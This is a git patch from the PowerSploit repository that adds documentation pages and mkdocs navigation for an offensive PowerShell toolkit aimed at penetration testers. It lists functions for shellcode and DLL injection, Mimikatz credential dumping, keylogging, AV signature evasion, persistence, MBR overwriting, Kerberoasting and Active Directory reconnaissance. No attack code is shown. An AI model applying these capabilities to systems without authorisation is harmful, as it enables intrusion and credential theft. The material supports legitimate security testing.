Get-DomainGPO: 'docs/Recon/Get-DomainGPO' - - Get-DomainGPOLocalGroup: 'docs/Recon/Get-DomainGPOLocalGroup' - - Get-DomainGPOUserLocalGroupMapping: 'docs/Recon/Get-DomainGPOUserLocalGroupMapping' - - Get-DomainGPOComputerLocalGroupMapping: 'docs/Recon/Get-DomainGPOComputerLocalGroupMapping' - - Get-DomainPolicy: 'docs/Recon/Get-DomainPolicy' - - Get-NetLocalGroup: 'docs/Recon/Get-NetLocalGroup' - - Get-NetLocalGroupMember: 'docs/Recon/Get-NetLocalGroupMember' - - Get-NetShare: 'docs/Recon/Get-NetShare' - - Get-NetLoggedon: 'docs/Recon/Get-NetLoggedon' - - Get-NetSession: 'docs/Recon/Get-NetSession' - - Get-RegLoggedOn: 'docs/Recon/Get-RegLoggedOn' - - Get-NetRDPSession: 'docs/Recon/Get-NetRDPSession' - - Test-AdminAccess: 'docs/Recon/Test-AdminAccess' - - Get-NetComputerSiteName: 'docs/Recon/Get-NetComputerSiteName' - - Get-WMIRegProxy: 'docs/Recon/Get-WMIRegProxy' - - Get-WMIRegLastLoggedOn: 'docs/Recon/Get-WMIRegLastLoggedOn' - - Get-WMIRegCachedRDPConnection: 'docs/Recon/Get-WMIRegCachedRDPConnection' - - Get-WMIRegMountedDrive: 'docs/Recon/Get-WMIRegMountedDrive' - - Get-WMIProcess: 'docs/Recon/Get-WMIProcess' - - Find-InterestingFile: 'docs/Recon/Find-InterestingFile' - - Find-DomainUserLocation: 'docs/Recon/Find-DomainUserLocation' - - Find-DomainProcess: 'docs/Recon/Find-DomainProcess' - - Find-DomainUserEvent: 'docs/Recon/Find-DomainUserEvent' - - Find-DomainShare: 'docs/Recon/Find-DomainShare' - - Find-InterestingDomainShareFile: 'docs/Recon/Find-InterestingDomainShareFile' - - Find-LocalAdminAccess: 'docs/Recon/Find-LocalAdminAccess' - - Find-DomainLocalGroupMember: 'docs/Recon/Find-DomainLocalGroupMember' - - Get-DomainTrust: 'docs/Recon/Get-DomainTrust' - - Get-ForestTrust: 'docs/Recon/Get-ForestTrust' - - Get-DomainForeignUser: 'docs/Recon/Get-DomainForeignUser' - - Get-DomainForeignGroupMember: 'docs/Recon/Get-DomainForeignGroupMember' - - Get-DomainTrustMapping: 'docs/Recon/Get-DomainTrustMapping' - - Get-ComputerDetails: 'docs/Recon/Get-ComputerDetails' - - Get-HttpStatus: 'docs/Recon/Get-HttpStatus' - - Invoke-Portscan: 'docs/Recon/Invoke-Portscan' - - Invoke-ReverseDnsLookup: 'docs/Recon/Invoke-ReverseDnsLookup' + - Recon : 'Recon/README.md' + - Export-PowerViewCSV: 'docs/Recon/Export-PowerViewCSV.md' + - Resolve-IPAddress: 'docs/Recon/Resolve-IPAddress.md' + - ConvertTo-SID: 'docs/Recon/ConvertTo-SID.md' + - ConvertFrom-SID: 'docs/Recon/ConvertFrom-SID.md' + - Convert-ADName: 'docs/Recon/Convert-ADName.md' + - ConvertFrom-UACValue: 'docs/Recon/ConvertFrom-UACValue.md' + - Add-RemoteConnection: 'docs/Recon/Add-RemoteConnection.md' + - Remove-RemoteConnection: 'docs/Recon/Remove-RemoteConnection.md' + - Invoke-UserImpersonation: 'docs/Recon/Invoke-UserImpersonation.md' + - Invoke-RevertToSelf: 'docs/Recon/Invoke-RevertToSelf.md' + - Get-DomainSPNTicket: 'docs/Recon/Get-DomainSPNTicket.md' + - Invoke-Kerberoast: 'docs/Recon/Invoke-Kerberoast.md' + - Get-PathAcl: 'docs/Recon/Get-PathAcl.md' + - Get-DomainDNSZone: 'docs/Recon/Get-DomainDNSZone.md' + - Get-DomainDNSRecord: 'docs/Recon/Get-DomainDNSRecord.md' + - Get-Domain: 'docs/Recon/Get-Domain.md' + - Get-DomainController: 'docs/Recon/Get-DomainController.md' + - Get-Forest: 'docs/Recon/Get-Forest.md' + - Get-ForestDomain: 'docs/Recon/Get-ForestDomain.md' + - Get-ForestGlobalCatalog: 'docs/Recon/Get-ForestGlobalCatalog.md' + - Find-DomainObjectPropertyOutlier: 'docs/Recon/Find-DomainObjectPropertyOutlier.md' + - Get-DomainUser: 'docs/Recon/Get-DomainUser.md' + - New-DomainUser: 'docs/Recon/New-DomainUser.md' + - Get-DomainUserEvent: 'docs/Recon/Get-DomainUserEvent.md' + - Get-DomainComputer: 'docs/Recon/Get-DomainComputer.md' + - Get-DomainObject: 'docs/Recon/Get-DomainObject.md' + - Set-DomainObject: 'docs/Recon/Set-DomainObject.md' + - Get-DomainObjectAcl: 'docs/Recon/Get-DomainObjectAcl.md' + - Add-DomainObjectAcl: 'docs/Recon/Add-DomainObjectAcl.md' + - Find-InterestingDomainAcl: 'docs/Recon/Find-InterestingDomainAcl.md' + - Get-DomainOU: 'docs/Recon/Get-DomainOU.md' + - Get-DomainSite: 'docs/Recon/Get-DomainSite.md' + - Get-DomainSubnet: 'docs/Recon/Get-DomainSubnet.md' + - Get-DomainSID: 'docs/Recon/Get-DomainSID.md' + - Get-DomainGroup: 'docs/Recon/Get-DomainGroup.md' + - New-DomainGroup: 'docs/Recon/New-DomainGroup.md' + - Get-DomainManagedSecurityGroup: 'docs/Recon/Get-DomainManagedSecurityGroup.md' + - Get-DomainGroupMember: 'docs/Recon/Get-DomainGroupMember.md' + - Add-DomainGroupMember: 'docs/Recon/Add-DomainGroupMember.md' + - Get-DomainFileServer: 'docs/Recon/Get-DomainFileServer.md' + - Get-DomainDFSShare: 'docs/Recon/Get-DomainDFSShare.md' + - Get-DomainGPO: 'docs/Recon/Get-DomainGPO.md' + - Get-DomainGPOLocalGroup: 'docs/Recon/Get-DomainGPOLocalGroup.md' + - Get-DomainGPOUserLocalGroupMapping: 'docs/Recon/Get-DomainGPOUserLocalGroupMapping.md' + - Get-DomainGPOComputerLocalGroupMapping: 'docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md' + - Get-DomainPolicy: 'docs/Recon/Get-DomainPolicy.md' + - Get-NetLocalGroup: 'docs/Recon/Get-NetLocalGroup.md' + - Get-NetLocalGroupMember: 'docs/Recon/Get-NetLocalGroupMember.md' + - Get-NetShare: 'docs/Recon/Get-NetShare.md' + - Get-NetLoggedon: 'docs/Recon/Get-NetLoggedon.md' + - Get-NetSession: 'docs/Recon/Get-NetSession.md' + - Get-RegLoggedOn: 'docs/Recon/Get-RegLoggedOn.md' + - Get-NetRDPSession: 'docs/Recon/Get-NetRDPSession.md' + - Test-AdminAccess: 'docs/Recon/Test-AdminAccess.md' + - Get-NetComputerSiteName: 'docs/Recon/Get-NetComputerSiteName.md' + - Get-WMIRegProxy: 'docs/Recon/Get-WMIRegProxy.md' + - Get-WMIRegLastLoggedOn: 'docs/Recon/Get-WMIRegLastLoggedOn.md' + - Get-WMIRegCachedRDPConnection: 'docs/Recon/Get-WMIRegCachedRDPConnection.md' + - Get-WMIRegMountedDrive: 'docs/Recon/Get-WMIRegMountedDrive.md' + - Get-WMIProcess: 'docs/Recon/Get-WMIProcess.md' + - Find-InterestingFile: 'docs/Recon/Find-InterestingFile.md' + - Find-DomainUserLocation: 'docs/Recon/Find-DomainUserLocation.md' + - Find-DomainProcess: 'docs/Recon/Find-DomainProcess.md' + - Find-DomainUserEvent: 'docs/Recon/Find-DomainUserEvent.md' + - Find-DomainShare: 'docs/Recon/Find-DomainShare.md' + - Find-InterestingDomainShareFile: 'docs/Recon/Find-InterestingDomainShareFile.md' + - Find-LocalAdminAccess: 'docs/Recon/Find-LocalAdminAccess.md' + - Find-DomainLocalGroupMember: 'docs/Recon/Find-DomainLocalGroupMember.md' + - Get-DomainTrust: 'docs/Recon/Get-DomainTrust.md' + - Get-ForestTrust: 'docs/Recon/Get-ForestTrust.md' + - Get-DomainForeignUser: 'docs/Recon/Get-DomainForeignUser.md' + - Get-DomainForeignGroupMember: 'docs/Recon/Get-DomainForeignGroupMember.md' + - Get-DomainTrustMapping: 'docs/Recon/Get-DomainTrustMapping.md' + - Get-ComputerDetails: 'docs/Recon/Get-ComputerDetails.md' + - Get-HttpStatus: 'docs/Recon/Get-HttpStatus.md' + - Invoke-Portscan: 'docs/Recon/Invoke-Portscan.md' + - Invoke-ReverseDnsLookup: 'docs/Recon/Invoke-ReverseDnsLookup.md' - About: - License: 'LICENSE.md' \ No newline at end of file From 9033f2f544785573f5924e6843d709193321c644 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 21:58:50 -0500 Subject: [PATCH 210/296] Another try at getting readthedocs.io working --- docs/Recon/index.md | 125 +++++++++++++++++++++ docs/index.md | 264 ++++++++++++++++++++++++++++++++++++++++++++ mkdocs.yml | 160 +++++++++++++-------------- 3 files changed, 469 insertions(+), 80 deletions(-) create mode 100644 docs/Recon/index.md create mode 100644 docs/index.md diff --git a/docs/Recon/index.md b/docs/Recon/index.md new file mode 100644 index 00000000..acc2627a --- /dev/null +++ b/docs/Recon/index.md @@ -0,0 +1,125 @@ +To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Recon` + +To see the commands imported, type `Get-Command -Module Recon` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + + +## PowerView + +PowerView is a PowerShell tool to gain network situational awareness on +Windows domains. It contains a set of pure-PowerShell replacements for various +windows "net *" commands, which utilize PowerShell AD hooks and underlying +Win32 API functions to perform useful Windows domain functionality. + +It also implements various useful metafunctions, including some custom-written +user-hunting functions which will identify where on the network specific users +are logged into. It can also check which machines on the domain the current +user has local administrator access on. Several functions for the enumeration +and abuse of domain trusts also exist. See function descriptions for appropriate +usage and available options. For detailed output of underlying functionality, pass +the -Verbose or -Debug flags. + +For functions that enumerate multiple machines, pass the -Verbose flag to get a +progress status as each host is enumerated. Most of the "meta" functions accept +an array of hosts from the pipeline. + + +### Misc Functions: + Export-PowerViewCSV - thread-safe CSV append + Resolve-IPAddress - resolves a hostname to an IP + ConvertTo-SID - converts a given user/group name to a security identifier (SID) + Convert-ADName - converts object names between a variety of formats + ConvertFrom-UACValue - converts a UAC int value to human readable form + Add-RemoteConnection - pseudo "mounts" a connection to a remote path using the specified credential object + Remove-RemoteConnection - destroys a connection created by New-RemoteConnection + Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token + Invoke-RevertToSelf - reverts any token impersonation + Get-DomainSPNTicket - request the kerberos ticket for a specified service principal name (SPN) + Invoke-Kerberoast - requests service tickets for kerberoast-able accounts and returns extracted ticket hashes + Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion + + +### Domain/LDAP Functions: + Get-DomainDNSZone - enumerates the Active Directory DNS zones for a given domain + Get-DomainDNSRecord - enumerates the Active Directory DNS records for a given zone + Get-Domain - returns the domain object for the current (or specified) domain + Get-DomainController - return the domain controllers for the current (or specified) domain + Get-Forest - returns the forest object for the current (or specified) forest + Get-ForestDomain - return all domains for the current (or specified) forest + Get-ForestGlobalCatalog - return all global catalogs for the current (or specified) forest + Find-DomainObjectPropertyOutlier- inds user/group/computer objects in AD that have 'outlier' properties set + Get-DomainUser - return all users or specific user objects in AD + New-DomainUser - creates a new domain user (assuming appropriate permissions) and returns the user object + Get-DomainUserEvent - enumerates account logon events (ID 4624) and Logon with explicit credential events + Get-DomainComputer - returns all computers or specific computer objects in AD + Get-DomainObject - returns all (or specified) domain objects in AD + Set-DomainObject - modifies a gven property for a specified active directory object + Get-DomainObjectAcl - returns the ACLs associated with a specific active directory object + Add-DomainObjectAcl - adds an ACL for a specific active directory object + Find-InterestingDomainAcl - finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects + Get-DomainOU - search for all organization units (OUs) or specific OU objects in AD + Get-DomainSite - search for all sites or specific site objects in AD + Get-DomainSubnet - search for all subnets or specific subnets objects in AD + Get-DomainSID - returns the SID for the current domain or the specified domain + Get-DomainGroup - return all groups or specific group objects in AD + New-DomainGroup - creates a new domain group (assuming appropriate permissions) and returns the group object + Get-DomainManagedSecurityGroup - returns all security groups in the current (or target) domain that have a manager set + Get-DomainGroupMember - return the members of a specific domain group + Add-DomainGroupMember - adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so + Get-DomainFileServer - returns a list of servers likely functioning as file servers + Get-DomainDFSShare - returns a list of all fault-tolerant distributed file systems for the current (or specified) domain + + +### GPO functions + + Get-DomainGPO - returns all GPOs or specific GPO objects in AD + Get-DomainGPOLocalGroup - returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences + Get-DomainGPOUserLocalGroupMapping - enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation + Get-DomainGPOComputerLocalGroupMapping - takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation + Get-DomainPolicy - returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller + + +### Computer Enumeration Functions + + Get-NetLocalGroup - enumerates the local groups on the local (or remote) machine + Get-NetLocalGroupMember - enumerates members of a specific local group on the local (or remote) machine + Get-NetShare - returns open shares on the local (or a remote) machine + Get-NetLoggedon - returns users logged on the local (or a remote) machine + Get-NetSession - returns session information for the local (or a remote) machine + Get-RegLoggedOn - returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys + Get-NetRDPSession - returns remote desktop/session information for the local (or a remote) machine + Test-AdminAccess - rests if the current user has administrative access to the local (or a remote) machine + Get-NetComputerSiteName - returns the AD site where the local (or a remote) machine resides + Get-WMIRegProxy - enumerates the proxy server and WPAD conents for the current user + Get-WMIRegLastLoggedOn - returns the last user who logged onto the local (or a remote) machine + Get-WMIRegCachedRDPConnection - returns information about RDP connections outgoing from the local (or remote) machine + Get-WMIRegMountedDrive - returns information about saved network mounted drives for the local (or remote) machine + Get-WMIProcess - returns a list of processes and their owners on the local or remote machine + Find-InterestingFile - searches for files on the given path that match a series of specified criteria + + +### Threaded 'Meta'-Functions + + Find-DomainUserLocation - finds domain machines where specific users are logged into + Find-DomainProcess - finds domain machines where specific processes are currently running + Find-DomainUserEvent - finds logon events on the current (or remote domain) for the specified users + Find-DomainShare - finds reachable shares on domain machines + Find-InterestingDomainShareFile - searches for files matching specific criteria on readable shares in the domain + Find-LocalAdminAccess - finds machines on the local domain where the current user has local administrator access + Find-DomainLocalGroupMember - enumerates the members of specified local group on machines in the domain + + +### Domain Trust Functions: + Get-DomainTrust - returns all domain trusts for the current domain or a specified domain + Get-ForestTrust - returns all forest trusts for the current forest or a specified forest + Get-DomainForeignUser - enumerates users who are in groups outside of the user's domain + Get-DomainForeignGroupMember - enumerates groups with users outside of the group's domain and returns each foreign member + Get-DomainTrustMapping - this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 00000000..c348b9e1 --- /dev/null +++ b/docs/index.md @@ -0,0 +1,264 @@ +### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: + +## CodeExecution + +**Execute code on a target machine.** + +#### `Invoke-DllInjection` + +Injects a Dll into the process ID of your choosing. + +#### `Invoke-ReflectivePEInjection` + +Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + +#### `Invoke-Shellcode` + +Injects shellcode into the process ID of your choosing or within PowerShell locally. + +#### `Invoke-WmiCommand` + +Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. + +## ScriptModification + +**Modify and/or prepare scripts for execution on a compromised machine.** + +#### `Out-EncodedCommand` + +Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + +#### `Out-CompressedDll` + +Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. + +#### `Out-EncryptedScript` + +Encrypts text files/scripts. + +#### `Remove-Comments` + +Strips comments and extra whitespace from a script. + +## Persistence + +**Add persistence capabilities to a PowerShell script** + +#### `New-UserPersistenceOption` + +Configure user-level persistence options for the Add-Persistence function. + +#### `New-ElevatedPersistenceOption` + +Configure elevated persistence options for the Add-Persistence function. + +#### `Add-Persistence` + +Add persistence capabilities to a script. + +#### `Install-SSP` + +Installs a security support provider (SSP) dll. + +#### `Get-SecurityPackages` + +Enumerates all loaded security packages (SSPs). + +## AntivirusBypass + +**AV doesn't stand a chance against PowerShell!** + +#### `Find-AVSignature` + +Locates single Byte AV signatures utilizing the same method as DSplit from "class101". + +## Exfiltration + +**All your data belong to me!** + +#### `Invoke-TokenManipulation` + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + +#### `Invoke-CredentialInjection` + +Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + +#### `Invoke-NinjaCopy` + +Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. + +#### `Invoke-Mimikatz` + +Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. + +#### `Get-Keystrokes` + +Logs keys pressed, time and the active window. + +#### `Get-GPPPassword` + +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + +#### `Get-GPPAutologon` + +Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences. + +#### `Get-TimedScreenshot` + +A function that takes screenshots at a regular interval and saves them to a folder. + +#### `New-VolumeShadowCopy` + +Creates a new volume shadow copy. + +#### `Get-VolumeShadowCopy` + +Lists the device paths of all local volume shadow copies. + +#### `Mount-VolumeShadowCopy` + +Mounts a volume shadow copy. + +#### `Remove-VolumeShadowCopy` + +Deletes a volume shadow copy. + +#### `Get-VaultCredential` + +Displays Windows vault credential objects including cleartext web credentials. + +#### `Out-Minidump` + +Generates a full-memory minidump of a process. + +#### 'Get-MicrophoneAudio' + +Records audio from system microphone and saves to disk + +## Mayhem + +**Cause general mayhem with PowerShell.** + +#### `Set-MasterBootRecord` + +Proof of concept code that overwrites the master boot record with the + message of your choice. + +#### `Set-CriticalProcess` + +Causes your machine to blue screen upon exiting PowerShell. + +## Privesc + +**Tools to help with escalating privileges on a target.** + +#### `PowerUp` + +Clearing house of common privilege escalation checks, along with some weaponization vectors. + +## Recon + +**Tools to aid in the reconnaissance phase of a penetration test.** + +#### `Invoke-Portscan` + +Does a simple port scan using regular sockets, based (pretty) loosely on nmap. + +#### `Get-HttpStatus` + +Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. + +#### `Invoke-ReverseDnsLookup` + +Scans an IP address range for DNS PTR records. + +#### `PowerView` + +PowerView is series of functions that performs network and Windows domain enumeration and exploitation. + +## Recon\Dictionaries + +**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.** + +* admin.txt - +* generic.txt - +* sharepoint.txt - + +## License + +The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise. + +## Usage + +Refer to the comment-based help in each individual script for detailed usage information. + +To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module PowerSploit` + +To see the commands imported, type `Get-Command -Module PowerSploit` + +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: +`$Env:PSModulePath.Split(';') | + % { if ( Test-Path (Join-Path $_ PowerSploit) ) + {Get-ChildItem $_ -Recurse | Unblock-File} }` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + +## Contribution Rules + +We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following: + +* The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason. +* The module manifest needs to be updated to reflect the new function being added. +* A brief description of the function should be added to this README.md +* Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks! + +## Script Style Guide + +**For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.** + +* Avoid Write-Host **at all costs**. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles: + * + * + +* If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'. + +* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license). + +* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis. + +* I prefer that variable names be capitalized and be as descriptive as possible. + +* Provide logical spacing in between your code. Indent your code to make it more readable. + +* If you find yourself repeating code, write a function. + +* Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error. + +* If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible. + +* Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to. + +* PowerShell v2 compatibility is highly desired. + +* Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following: + * `[Parameter(Position = 0, Mandatory = $True)]` + +* Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias. + +* Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break. + +* Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader. + +* Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement. + +* Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters. + +* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output. diff --git a/mkdocs.yml b/mkdocs.yml index 72f6598d..0c04f6ad 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -1,85 +1,85 @@ site_name: PowerSploit -repo_url: https://github.com/PowerShellMafia/PowerSploit/tree/dev +repo_url: https://github.com/PowerShellMafia/PowerSploit/ site_favicon: favicon.ico pages: -- Home: 'README.md' - - Recon : 'Recon/README.md' - - Export-PowerViewCSV: 'docs/Recon/Export-PowerViewCSV.md' - - Resolve-IPAddress: 'docs/Recon/Resolve-IPAddress.md' - - ConvertTo-SID: 'docs/Recon/ConvertTo-SID.md' - - ConvertFrom-SID: 'docs/Recon/ConvertFrom-SID.md' - - Convert-ADName: 'docs/Recon/Convert-ADName.md' - - ConvertFrom-UACValue: 'docs/Recon/ConvertFrom-UACValue.md' - - Add-RemoteConnection: 'docs/Recon/Add-RemoteConnection.md' - - Remove-RemoteConnection: 'docs/Recon/Remove-RemoteConnection.md' - - Invoke-UserImpersonation: 'docs/Recon/Invoke-UserImpersonation.md' - - Invoke-RevertToSelf: 'docs/Recon/Invoke-RevertToSelf.md' - - Get-DomainSPNTicket: 'docs/Recon/Get-DomainSPNTicket.md' - - Invoke-Kerberoast: 'docs/Recon/Invoke-Kerberoast.md' - - Get-PathAcl: 'docs/Recon/Get-PathAcl.md' - - Get-DomainDNSZone: 'docs/Recon/Get-DomainDNSZone.md' - - Get-DomainDNSRecord: 'docs/Recon/Get-DomainDNSRecord.md' - - Get-Domain: 'docs/Recon/Get-Domain.md' - - Get-DomainController: 'docs/Recon/Get-DomainController.md' - - Get-Forest: 'docs/Recon/Get-Forest.md' - - Get-ForestDomain: 'docs/Recon/Get-ForestDomain.md' - - Get-ForestGlobalCatalog: 'docs/Recon/Get-ForestGlobalCatalog.md' - - Find-DomainObjectPropertyOutlier: 'docs/Recon/Find-DomainObjectPropertyOutlier.md' - - Get-DomainUser: 'docs/Recon/Get-DomainUser.md' - - New-DomainUser: 'docs/Recon/New-DomainUser.md' - - Get-DomainUserEvent: 'docs/Recon/Get-DomainUserEvent.md' - - Get-DomainComputer: 'docs/Recon/Get-DomainComputer.md' - - Get-DomainObject: 'docs/Recon/Get-DomainObject.md' - - Set-DomainObject: 'docs/Recon/Set-DomainObject.md' - - Get-DomainObjectAcl: 'docs/Recon/Get-DomainObjectAcl.md' - - Add-DomainObjectAcl: 'docs/Recon/Add-DomainObjectAcl.md' - - Find-InterestingDomainAcl: 'docs/Recon/Find-InterestingDomainAcl.md' - - Get-DomainOU: 'docs/Recon/Get-DomainOU.md' - - Get-DomainSite: 'docs/Recon/Get-DomainSite.md' - - Get-DomainSubnet: 'docs/Recon/Get-DomainSubnet.md' - - Get-DomainSID: 'docs/Recon/Get-DomainSID.md' - - Get-DomainGroup: 'docs/Recon/Get-DomainGroup.md' - - New-DomainGroup: 'docs/Recon/New-DomainGroup.md' - - Get-DomainManagedSecurityGroup: 'docs/Recon/Get-DomainManagedSecurityGroup.md' - - Get-DomainGroupMember: 'docs/Recon/Get-DomainGroupMember.md' - - Add-DomainGroupMember: 'docs/Recon/Add-DomainGroupMember.md' - - Get-DomainFileServer: 'docs/Recon/Get-DomainFileServer.md' - - Get-DomainDFSShare: 'docs/Recon/Get-DomainDFSShare.md' - - Get-DomainGPO: 'docs/Recon/Get-DomainGPO.md' - - Get-DomainGPOLocalGroup: 'docs/Recon/Get-DomainGPOLocalGroup.md' - - Get-DomainGPOUserLocalGroupMapping: 'docs/Recon/Get-DomainGPOUserLocalGroupMapping.md' - - Get-DomainGPOComputerLocalGroupMapping: 'docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md' - - Get-DomainPolicy: 'docs/Recon/Get-DomainPolicy.md' - - Get-NetLocalGroup: 'docs/Recon/Get-NetLocalGroup.md' - - Get-NetLocalGroupMember: 'docs/Recon/Get-NetLocalGroupMember.md' - - Get-NetShare: 'docs/Recon/Get-NetShare.md' - - Get-NetLoggedon: 'docs/Recon/Get-NetLoggedon.md' - - Get-NetSession: 'docs/Recon/Get-NetSession.md' - - Get-RegLoggedOn: 'docs/Recon/Get-RegLoggedOn.md' - - Get-NetRDPSession: 'docs/Recon/Get-NetRDPSession.md' - - Test-AdminAccess: 'docs/Recon/Test-AdminAccess.md' - - Get-NetComputerSiteName: 'docs/Recon/Get-NetComputerSiteName.md' - - Get-WMIRegProxy: 'docs/Recon/Get-WMIRegProxy.md' - - Get-WMIRegLastLoggedOn: 'docs/Recon/Get-WMIRegLastLoggedOn.md' - - Get-WMIRegCachedRDPConnection: 'docs/Recon/Get-WMIRegCachedRDPConnection.md' - - Get-WMIRegMountedDrive: 'docs/Recon/Get-WMIRegMountedDrive.md' - - Get-WMIProcess: 'docs/Recon/Get-WMIProcess.md' - - Find-InterestingFile: 'docs/Recon/Find-InterestingFile.md' - - Find-DomainUserLocation: 'docs/Recon/Find-DomainUserLocation.md' - - Find-DomainProcess: 'docs/Recon/Find-DomainProcess.md' - - Find-DomainUserEvent: 'docs/Recon/Find-DomainUserEvent.md' - - Find-DomainShare: 'docs/Recon/Find-DomainShare.md' - - Find-InterestingDomainShareFile: 'docs/Recon/Find-InterestingDomainShareFile.md' - - Find-LocalAdminAccess: 'docs/Recon/Find-LocalAdminAccess.md' - - Find-DomainLocalGroupMember: 'docs/Recon/Find-DomainLocalGroupMember.md' - - Get-DomainTrust: 'docs/Recon/Get-DomainTrust.md' - - Get-ForestTrust: 'docs/Recon/Get-ForestTrust.md' - - Get-DomainForeignUser: 'docs/Recon/Get-DomainForeignUser.md' - - Get-DomainForeignGroupMember: 'docs/Recon/Get-DomainForeignGroupMember.md' - - Get-DomainTrustMapping: 'docs/Recon/Get-DomainTrustMapping.md' - - Get-ComputerDetails: 'docs/Recon/Get-ComputerDetails.md' - - Get-HttpStatus: 'docs/Recon/Get-HttpStatus.md' - - Invoke-Portscan: 'docs/Recon/Invoke-Portscan.md' - - Invoke-ReverseDnsLookup: 'docs/Recon/Invoke-ReverseDnsLookup.md' +- Home: 'index.md' + - Recon : 'Recon/index.md' + - Export-PowerViewCSV: 'Recon/Export-PowerViewCSV.md' + - Resolve-IPAddress: 'Recon/Resolve-IPAddress.md' + - ConvertTo-SID: 'Recon/ConvertTo-SID.md' + - ConvertFrom-SID: 'Recon/ConvertFrom-SID.md' + - Convert-ADName: 'Recon/Convert-ADName.md' + - ConvertFrom-UACValue: 'Recon/ConvertFrom-UACValue.md' + - Add-RemoteConnection: 'Recon/Add-RemoteConnection.md' + - Remove-RemoteConnection: 'Recon/Remove-RemoteConnection.md' + - Invoke-UserImpersonation: 'Recon/Invoke-UserImpersonation.md' + - Invoke-RevertToSelf: 'Recon/Invoke-RevertToSelf.md' + - Get-DomainSPNTicket: 'Recon/Get-DomainSPNTicket.md' + - Invoke-Kerberoast: 'Recon/Invoke-Kerberoast.md' + - Get-PathAcl: 'Recon/Get-PathAcl.md' + - Get-DomainDNSZone: 'Recon/Get-DomainDNSZone.md' + - Get-DomainDNSRecord: 'Recon/Get-DomainDNSRecord.md' + - Get-Domain: 'Recon/Get-Domain.md' + - Get-DomainController: 'Recon/Get-DomainController.md' + - Get-Forest: 'Recon/Get-Forest.md' + - Get-ForestDomain: 'Recon/Get-ForestDomain.md' + - Get-ForestGlobalCatalog: 'Recon/Get-ForestGlobalCatalog.md' + - Find-DomainObjectPropertyOutlier: 'Recon/Find-DomainObjectPropertyOutlier.md' + - Get-DomainUser: 'Recon/Get-DomainUser.md' + - New-DomainUser: 